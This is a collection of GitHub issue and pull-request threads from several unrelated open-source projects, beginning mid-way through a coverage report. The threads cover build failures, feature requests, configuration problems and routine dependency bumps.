34.78% <0.00%> (-39.14%)
:arrow_down:

.../opensearch/client/cluster/RemoteInfoResponse.java
61.53% <0.00%> (-38.47%)
:arrow_down:

...cluster/coordination/PublishClusterStateStats.java
33.33% <0.00%> (-37.51%)
:arrow_down:

...pensearch/action/ingest/DeletePipelineRequest.java
31.25% <0.00%> (-37.50%)
:arrow_down:

...ain/java/org/opensearch/search/sort/MinAndMax.java
63.15% <0.00%> (-36.85%)
:arrow_down:

...ion/admin/cluster/node/info/PluginsAndModules.java
53.12% <0.00%> (-34.38%)
:arrow_down:

... and 494 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Current Source Code doesn't compile - Test Fails

Upon doing mvn clean install , the test:
[INFO] Running com.hedera.hashgraph.sdk.crypto.ed25519.Ed25519PrivateKeyTest
[ERROR] Tests run: 8, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.008 s <<< FAILURE! - in com.hedera.hashgraph.sdk.crypto.ed25519.Ed25519PrivateKeyTest
[ERROR] keyToPem  Time elapsed: 0.001 s  <<< FAILURE!
org.opentest4j.AssertionFailedError:
expected: <-----BEGIN PRIVATE KEY-----
MC4CAQAwBQYDK2VwBCIEINtIS4KOZLLY8SzjwKDpOguMznrxu485yXcyOUSCU44Q
-----END PRIVATE KEY-----
> but was: <-----BEGIN PRIVATE KEY-----
MC4CAQAwBQYDK2VwBCIEINtIS4KOZLLY8SzjwKDpOguMznrxu485yXcyOUSCU44Q
-----END PRIVATE KEY-----
>
        at com.hedera.hashgraph.sdk.crypto.ed25519.Ed25519PrivateKeyTest.keyToPem(Ed25519PrivateKeyTest.java:88)

^ this one fails.

Upon commenting it out, it compiles properly, but now, upon running my code I get this stack trace:
Caused by: java.lang.NoClassDefFoundError: com/hederahashgraph/api/proto/java/AccountID
	at com.hedera.hashgraph.sdk.account.AccountId.<init>(AccountId.java:20) ~[sdk-0.5.2.jar:na]
	at com.hedera.hashgraph.sdk.IdUtil.parseIdString(IdUtil.java:18) ~[sdk-0.5.2.jar:na]
	at com.hedera.hashgraph.sdk.account.AccountId.fromString(AccountId.java:28) ~[sdk-0.5.2.jar:na]
	at hearo.jam_tokens.utilities.Helper.getNodeId(Helper.java:42) ~[classes/:na]

Please don't depend on master directly. Move to importing from Maven.

Hi, the problem is that only the current github repo has things like getRequestCost on queries.
How else should I run things like:
long estimatedCallCost = new ContractCallQuery(client)
                .setGas(30000) // estimate gas based on remix
                .setPaymentDefault(100_000_000)
                .setContractId(newContractId)
                .setFunctionParameters(CallParams.function("greet"))
                .requestCost();

The launch date is coming soon, and I need to figure out the right payment params some time before!
Why can't the merges/comits to master be only done, once all tests pass? Like keep a dev branch which can't be dependable. And move usable features to master.

That's fair. We can push a new release today. Next time, it's okay to open an issue to remind us to make a release.

Re: develop. It's trivial to go back in time to a working commit with the needed features to make a release or just fix the bug if it's simple. We'll make sure the next release includes the query cost function.

Thanks @mehcode - just need to get the requestCost thing working ASAP :)

Looking at this again. The current master branch does compile and  the tests do pass. As you can see here: https://travis-ci.org/hashgraph/hedera-sdk-java

Looking at your error message it seems you must have something configured (or Windows just does that) in git that is checking files out with \r\n or CRLF line endings and our test is expecting \n line endings.

To resolve this we released v0.6.0 (could take a while to propagate on Central) and I opened an issue to fix the test failures on windows.


ARROW-3860: [WIP][Gandiva][C++] Link std c++ statically.

Restores linking statically to std c++, so that it can be safely packaged for other
similar environments.

I'm not sure we want to do that by default. @wesm

I hear you -- this issue is a bit distressing as the hard-coding of linker flags specific to Dremio builds was causing problems for other Arrow developers. I asked multiple times and waited over a month before fixing the problem myself

October 4: https://github.com/apache/arrow/pull/2695#issuecomment-426957629
October 6: https://github.com/apache/arrow/pull/2705#discussion_r223183596
October 11: https://github.com/apache/arrow/pull/2744#issuecomment-428934053
November 10, raising ARROW-3437 to blocker: https://issues.apache.org/jira/browse/ARROW-3437?focusedCommentId=16682681&page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel#comment-16682681

Here is the fix on November 19: https://github.com/apache/arrow/commit/ba2b2ea2301f067cc95306e11546ddb6d402a55c#diff-55d595f15416efb8fd2b661f37cb55b7
We have a problem of process right now in that people like me are not able to verify changes that are affecting Dremio builds -- had I been able to, I would have been glad to sort out a remediation. Short of that, I am not sure how else I would have been able to force action on this issue. As you can see in the discussion on https://issues.apache.org/jira/browse/ARROW-3860, there is a lack of transparency into your process that makes it difficult for me to help.

If you want to revert https://github.com/apache/arrow/commit/ba2b2ea2301f067cc95306e11546ddb6d402a55c temporarily until you figure out the packaging stuff, it's fine with me, but let's please not let it linger much longer since I would like to get the project into release-ready shape in the next 2-3 weeks

I think https://github.com/apache/arrow/pull/3035 will address the issue

Hey @wesm , I appreciate your attention and detailed response. I've opened up https://issues.apache.org/jira/browse/ARROW-3887 and will have our team work on adding that. There is no desire to be opaque. Will work with the team on becoming more transparent as well.

Thanks a ton Wes and Jacques for taking this to closure.


Do not perform sidekiq workers if no ids present

When I set request_strategy to sidekiq I have many object updates. I have many sidekiq jobs for update in queue. It's ok. But if nil return in observe callback like this
update_index('users#user') { self if user_have_changes? } I get many sidekiq jobs with [] argument

Maybe it would be better not to perform sidekiq worker when there no ids?

Great idea, actually

Great work, thanks!


WIP: David/1194 contract tests

Closes #1194
Description:
Tests keys endpoints in lcdClient against a copy of the Swagger specification from the SDK.  The PR uses a copy because the version of the SDK that Voyager is using doesn't include the spec yet.

@fedekunze Your merge broke the unit tests.

I'm in the process of fixing it.


Gabe

@gwadej @jaybobo @mikegee  Here is this one, I think I'm done with it. Please review if you be so kind.

LGTM


Add unit tests

Yeah right now https://github.com/paradox41/angular-chartist.js/blob/master/test/angular-chartist.spec.js#L16 isn't really testing much...I've tried testing Chartist on my own but I get an error:
TypeError: 'undefined' is not a function (evaluating 'function resizeListener(){
	        this.update();
	      }.bind(this)')

Thoughts?

I really just have to think about the best way to test this directive. I've been trying to find other directives that are well tested, if you know of any, please feel free to post them here.

https://github.com/angular-ui/bootstrap has lots of good tests in the src/ directory under each ui component.

Hey! So I actually get tests working setup a little better (they actually run now). Do you have a branch where you are working on tests? I'd like to assist you if at all possible so we aren't duplicating our efforts.

https://github.com/HTHS/hths-lunch/tree/develop/test/client/unit/directives is where I have some directives. I'm using a little bit different of a syntax though.

Closed somewhat via 0a88a8bd1dbf831061ffdd31469f6a0b90edb563
Will add more as time goes on.


qpwgraph: 0.7.8 -> 0.7.9

https://gitlab.freedesktop.org/rncbc/qpwgraph/-/compare/v0.7.8...v0.7.9
Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

nixpkgs-review result
Generated using nixpkgs-review.
Command: nixpkgs-review pr 355718

x86_64-linux

:white_check_mark: 1 package built:

qpwgraph

aarch64-linux

:white_check_mark: 1 package built:

qpwgraph

x86_64-darwin

aarch64-darwin


[BEAM-368] Added getSplitPointsConsumed() to ByteKeyRangeTracker

Be sure to do all of the following to help us incorporate your contribution
quickly and easily:

[ ] Make sure the PR title is formatted like:
[BEAM-<Jira issue #>] Description of pull request
[ ] Make sure tests pass via mvn clean verify. (Even better, enable
Travis-CI on your fork and ensure the whole test matrix passes).
[ ] Replace <Jira issue #> in the title with the actual Jira issue
number, if there is one.
[ ] If this contribution is large, please file an Apache
Individual Contributor License Agreement.

r: @dhalperi

r: @dhalperi

Generally LGTM.

f: @dhalperi

r: @dhalperi

LGTM, merged.


Providing user feedback: block the double button on click

A feature that is usually needed is the ability to block a button until a request finishes, as users are used to get the feedback that something is going on.
This pull request implements such a feature for the async button. UX looks good, but I have my doubts regarding the implementation.
I feel that this concept should actually be turned into a small library that would wrap a button, set up a "namespace" in the state to handle different buttons, and provide some way to easily incorporate the reducers. I'm new to redux development, but I'm fascinated by the mental model. I'm also wary about the dependence between the different actions... looks like it could escalate very quickly to a code mess.
I'd appreciate any feedback that you have on this idea.
Thanks for your work!

+1


XMC4800 improve EtherCAT support

Summary

add Port selection on xmc4800, to select either Port 0, Port1 or both.

Base ecat option on chip instead of board (allow custom boards to use the EtherCAT)

add GPIO_ECAT alternative configs

Impact
None
Testing
Tested on XMC4800-relax and on custom board.

@Rdk-T Are you using EtherCAT on NuttX? How do we could add generic support for EtherCAT on NuttX? Probably it will require some feature (ioctl?) to inform the network stack that a package has realtime constraints and need to be sent over EtherCAT instead of Ethernet, right? How do Linux solves it?

@Rdk-T Are you using EtherCAT on NuttX? How do we could add generic support for EtherCAT on NuttX? Probably it will require some feature (ioctl?) to inform the network stack that a package has realtime constraints and need to be sent over EtherCAT instead of Ethernet, right? How do Linux solves it?

EtherCAT on the slave/subdevice use a dedicated hardware for communication and the software stack do not see the network part. Only the master/maindevice mess up directly with the network. On Linux, we choose to open a socket in raw mode and we dedicate it to this usage to ensure real time behavior.
Note that this PR works on the slave/subdevice controller embedded in the XMC4800 chip. To fully support EtherCAT, one needs to connect an EtherCAT stack to this controller (registers are standards). On our side, we connect KickCAT in userspace.


Async DNS Resolver should not use predictable IDs in requests

See https://akka.io/security/akka-async-dns-2023-31442.html

solved by #371 and #385


Immutable fields broken under certain operations

As per a discussion with @A-Hilaly and @jaypipes here's a description of how immutable fields are currently broken under some circumstances and what we should do to fix them on the long term.
Describe the bug
Scenario: As a user, I want to make the name field of my resource immutable after object creation in the Kubernetes API.
Example:
resources:
  EventBus:
    fields:
      Name:
        is_immutable: true

When I do kubectl edit eventbus ... and change the name I was expecting that the controller sets a terminal condition because an immutable field change has been detected (the field code change detection is actually generated correctly).
However, what happens is that sdk.ReadOne makes a DescribeResource call with spec.name as input, which of course returns ResourceNotFoundException because that resource does not exist. That leads to the code entering the Create path instead of failing during Update. A new resource is created with that new spec.name and the result is zombie resources in AWS (the old resource), i.e. resource leaks.
{"level":"debug","ts":"2022-11-08T14:51:24.907+0100","logger":"ackrt","msg":">> rm.ReadOne","account":"331505801289","role":"","region":"eu-central-1","kind":"Rule","namespace":"default","name":"rule-01","is_adopted":false,"generation":2}
{"level":"debug","ts":"2022-11-08T14:51:24.907+0100","logger":"ackrt","msg":">>> rm.sdkFind","account":"331505801289","role":"","region":"eu-central-1","kind":"Rule","namespace":"default","name":"rule-01","is_adopted":false,"generation":2}
{"level":"debug","ts":"2022-11-08T14:51:25.021+0100","logger":"ackrt","msg":"<<< rm.sdkFind","account":"331505801289","role":"","region":"eu-central-1","kind":"Rule","namespace":"default","name":"rule-01","is_adopted":false,"generation":2,"error":"resource not found"}
{"level":"debug","ts":"2022-11-08T14:51:25.021+0100","logger":"ackrt","msg":"<< rm.ReadOne","account":"331505801289","role":"","region":"eu-central-1","kind":"Rule","namespace":"default","name":"rule-01","is_adopted":false,"generation":2,"error":"resource not found"}
{"level":"debug","ts":"2022-11-08T14:51:25.021+0100","logger":"ackrt","msg":">> r.createResource","account":"331505801289","role":"","region":"eu-central-1","kind":"Rule","namespace":"default","name":"rule-01","is_adopted":false,"generation":2}

Steps to reproduce
See above.
Expected outcome
The controller should respect field immutability.
Environment
Every ACK/K8s/Resource version is affected.
Solution
Because the way controller runtime (and as such code gen in ACK) works (level-triggered vs. edge), we do not have access to any previous state during Reconcile() (unless we perform list operations against K8s and AWS control planes, which is very expensive for such a feature and has edges with caching and consistency/concurrency).
A common approach is validation webhooks in the admission chain as here we have access to the current and desired state. Since Kubernetes v1.25 an alternative solution is available though using CRD Validation Rules (beta):
The CEL expression is a one-liner: self == oldSelf | Validate that a required field is immutable once it is set
Going forward, ACK should generate both, an admission controller (for Kubernetes <1.25) but also CRD CEL expressions (older K8s API servers simply ignore this new object). A Helm chart can have logic to deploy the validation webhook in K8s versions <1.25.

/lifecycle frozen


EvaluationResult of T-test (and W-test) do not contain the original percentile/alpha value

The t-test requires an alpha value to create a confidence interval (e.g., 5%) https://github.com/SCECcode/pycsep/blob/5f84ea97101de0439deb1e3f5c383874c7bb3801/csep/core/poisson_evaluations.py#L14-L15 from which information-gain bounds and 2-type error are return inside an EvaluationResult.  However, this alpha value is then forgotten, which cause the EvaluationResult plotting to require recalling the original value of alpha with which the t-test was carried out.
https://github.com/SCECcode/pycsep/blob/5f84ea97101de0439deb1e3f5c383874c7bb3801/csep/utils/plots.py#L1718
Not sure if creating a new attribute alpha of the resulting EvaluationResult
https://github.com/SCECcode/pycsep/blob/5f84ea97101de0439deb1e3f5c383874c7bb3801/csep/core/poisson_evaluations.py#L46-L54
or to redefine the attributes of the t-test.  For instance, shouldnt result.quantile, instead of result.test_distribution, contain actually the information_gain lower and upper bounds?
Also, the W-test confidence interval is calculated inside the plotting functions, instead of the evaluation function itself.

addressed in #263, commit 7306329a1b698e9aca8d6d91589e3d49ff525914, where added an extra value to EvaluationResult().quantile that stores the type1-error alpha value. Now, the alpha value can be written in the plotting legend to explain what the symbols/colors in the t-test plot mean.
Currently, the t-test EValuationResult() is defined as:

test_distribution = (lower_IG_bound, upper_IG_bound)
observation_statistic = Mean_IG   (i.e., just the difference between the forecasts logscores)
quantiles = (T_statistic, T_critical, alpha (recently added))

but the values doesn't feel so in place. The dof value is also lost. Which would involve to do some crazy acrobatics if a different confidence interval is desired, or re-run the entire test. This is different with consistency test, where the confidence interval is defined at the Plot level.
I wonder if the attributes of the resulting EvaluationResult should be re-defined for the t-test as:
test_distribution: the actual t-distribution, with the 3 parameters of the location-scaled dist: e.g (meanIG, stdIG, dof).
observation_statistic: 0, since we are testing if LogScores are substantially different, i.e.,  IG=0
quantile: % mass of test_distribution below 0.
In this way, the comparison test results are analogous to consistency test. A test_distribution, similar to Poisson/NegBinom distribution. A quantile value, that can be immediately looked if below (or above) of a confidence level.
Ideas? Or should we keep it like this?. @mherrmann3 @wsavran @bayonato89 @Serra314


SMTP over SSL or TSL not working

Issue Summary
Not certain this is a bug, but fairly certain it is.
Can not get the SMTP functionality to work at all, and as far as I can tell, it is set correctly.
Settings currently
options: {
                host: 'smtp.webfaction.com',
                from<EMAIL_ADDRESS>                port: 465,
                secure: true, //Should give me SSL
                auth: {
                        user: 'blog_me',
                        pass: 'WouldntULikeToKnow'
                },
        },

Every time I start the application I get the following message in the log
WARNING: Ghost is attempting to use a direct method to send email.
It is recommended that you explicitly configure an email service.
Help and documentation can be found at http://support.ghost.org/mail.

But there is no real information on support.ghost.org/mail on how to get ghost to use SMTP over SSL.
I also get this error message
Warning: Error sending email: Error: Message could not be sent
More info: connect ETIMEDOUT Please check your email settings and resend the invitation.

Tried SSL, TSL and no security
The mail server responds on all ports.
Is there any way to debug the mail attempt, or does anyone know why this is failing?
Technical details:

Ghost Version: 0.8.0
Node Version: v0.10.45
Browser/OS: centos-release-7-2.1511.el7.centos.2.10.x86_64
Database: N/A

Hi @vrghost242, this is definitely a configuration issue and not a bug. If you swing by our slack community someone will help you work through the correct config 👍


[DEM-710] Refactor SDK to conform to qiskit 0.7.0

@qSaevar in addition, the QuantumInspireProvider.backends() method should not show any backend types that have is_allowed set to False


Configure additional module search paths, like PYTHONPATH

I would like to propose as enhancement to provide the capability to configure additional module search paths in pyproject.toml
I have a project which needs to look for further paths, that do not corrispond to any package.
Thanks in advance

My main question is: why would this be a uv setting, rather than something you define via an environment variable, or in a .env file?

My main question is: why would this be a uv setting, rather than something you define via an environment variable, or in a .env file?

just pop in to say that there are massive discussions here and there, like: https://github.com/python-poetry/poetry/issues/208
I hope this gives some context about how such a feature can be desired by some.
but don't get me wrong. I'm not coming to argue like whether tool A and B are / should be the same etc.
& arguing whether a feature can be useful/helpful for people or whether a need is valid is almost never going to reach an end and the process can hardly be meaningful as well. perhaps we'd better skip to if this is technically possible and what are the main concerns to do or not do it

Sorry for not answering earlier, I try to explain my need.
I have a lot of scripts on a git repository, which use as a dependency some classes developed by some colleagues (not packages).
To avoid setting PYTHONPATH in the environment each time, currently with python -m venv, I am adding the directories where these directories in a text file in "..venv\Lib\site-packages"
Now I discovered this wonderful tool named uv, that dynamically manages and creates the venv way better, but my "workaround" is definitely weaker with this tool.
Since it has so many amazing features, I was thinking that there could be a way to set the PYTHONPATH in the pyproject.toml file, so that with uv run all my scripts simply work.
Hope that this better explains my need.


Roll engine 4da0645df1aa..3261324fab79 (1 commits)

git@github.com:flutter/engine.git/compare/4da0645df1aa...3261324fab79
git log 4da0645df1aa..3261324fab79 --no-merges --oneline
2019-11-18<EMAIL_ADDRESS>Roll fuchsia/sdk/core/mac-amd64 from pVwSb... to 6ZRA_... (flutter/engine#13891)
If this roll has caused a breakage, revert this CL and stop the roller
using the controls here:
https://autoroll.skia.org/r/flutter-engine-flutter-autoroll
Please CC<EMAIL_ADDRESS>on the revert to ensure that a human
is aware of the problem.
To report a problem with the AutoRoller itself, please file a bug:
https://bugs.chromium.org/p/skia/issues/entry?template=Autoroller+Bug
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+/master/autoroll/README.md

Auto-roller completed checks. About to merge.